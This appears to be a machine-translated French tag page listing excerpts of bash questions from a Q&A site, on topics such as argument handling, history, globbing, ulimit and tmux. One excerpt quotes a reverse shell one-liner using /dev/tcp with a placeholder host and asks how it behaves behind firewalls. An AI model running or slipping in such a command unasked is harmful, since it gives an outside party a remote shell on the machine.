Questions spécifiques au Bourne Again SHell de GNU, par opposition aux autres shells Bourne / POSIX. Pour les questions sur les shells Unix en général, utilisez plutôt la balise / shell.
En ce qui concerne ./script.sh arg1 [arg2 arg3 ...], les arguments de ligne de commande arg1, arg2... peut être obtenu par $1, $2... Mais le nombre d'arguments est pas fixé. Dans le script shell, je veux passer les arguments à partir arg2d'un programme, #/bin/bash ... /path/to/a/program [I want to pass …
Supposons que j'ai entré une fonction à l'invite bash, sur plusieurs lignes plutôt que de la presser sur une seule avec des points-virgules: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Comment faire pour que cela s'affiche avec de vrais caractères de nouvelle …
Comment répertorier les fichiers dont le nom se termine par le dernier caractère et l' .txtextension? J'ai essayé ls *+([[:digit:]]).txtmais c'est vrai pour abc12.txtet abc2.txt. Mais je dois seulement obtenir abc2.txt. Comment puis je faire ça? Y a-t-il une sorte de forme :digit:qui fera cela?
J'essaie d'augmenter le nombre maximum de fichiers ouverts pour l'utilisateur actuel > ulimit -n 1024 J'essaie d'augmenter et d'échouer comme suit > ulimit -n 4096 bash: ulimit: open files: cannot modify limit: Operation not permitted Je fais donc la chose naturelle et j'essaie de courir avec la permission temporaire, mais …
Après avoir démarré un terminal bash, j'ai remarqué que la variable PATH contient des entrées en double. Mon terminal démarre un shell de connexion , il ~/.bash_profileest donc d' origine, suivi de ~/.profileet ~/.bashrc. Ce n'est qu'en ~/.profilecréant les entrées de chemins qui sont dupliquées. Pour être pédant, c'est l'ordre …
J'essaie d'apprendre à utiliser getopts pour pouvoir avoir des scripts avec une entrée analysée (bien que je pense que getopts pourrait être mieux). J'essaie simplement d'écrire un script simple pour renvoyer les pourcentages d'utilisation de la partition. Le problème est qu'une de mes fonctions bash ne semble pas aimer celle …
j'ai essayé bash -i >& /dev/tcp/HOST/PORT 0>&1 mais il ne semble pas fonctionner derrière les pare-feu. Que fait réellement ce code, quels ports sont transmis et pourrait-il fonctionner derrière des pare-feu?
Est-il possible de changer l'arrière-plan de l'onglet tmux actif (actuel)? J'utilise tmux 1.9sur Ubuntu 15.04. $ tmux -V tmux 1.9 J'ai essayé de faire: set-option -g pane-active-border-fg red Mais le résultat n'a pas changé: Je m'attendais 3-bash*à avoir un fond rouge.
J'ouvre un terminal xterm (80 colonnes x 24 lignes), puis je lance $ bash --norc --noprofile, puis $ ttypour obtenir le nom de fichier du terminal: la sortie est /dev/pts/9. Depuis un autre terminal, je lance: $ printf foo >/dev/pts/9 fooest imprimé sur la ligne de commande du shell dans …
Le résultat de la commande ci-dessus lorsqu'elle est passée par écho est: # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; Même si je colle la sortie sur le terminal, la commande fonctionne. Mais lorsque j'essaie d'exécuter directement la commande, j'obtiens: # systemctl\ {restart,status}\ sshd\; bash: systemctl restart …
La commande trapintégrée dans bash a la syntaxe suivante trap [-lp] [arg] [sigspec ...] ... Chacun sigspecest soit un nom de signal, soit un numéro de signal. Les noms de signaux ne sont pas sensibles à la casse et le préfixe SIG est facultatif. ... Les points manuel bash sur …
L'afficher ici quelque chose qui me laisse perplexe; la mise à niveau d'un serveur d'applications de Jessie vers Stretch a cassé un bashscript. Après enquête, nous l'avons réduit à un changement de comportement de la cdcommande. Je ne discute pas ici si ce que fait le script est une bonne …
Existe-t-il un moyen de réécrire la structure de commande A && B || C | Dafin que B ou C soit canalisé dans D? Avec la commande actuelle, seuls B ou C et D sont exécutés. Par exemple:
Je voudrais lire différentes lignes d'un fichier texte dans différentes variables. Par exemple input.txt: line1 foo foobar bar line2 bar line3 foo line4 foobar bar Je veux que ce résultat à stocker dans des variables var1, var2, var3et de var4telle sorte que var1=line1 foo foobar bar var2=line2 bar etc. Quelqu'un …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.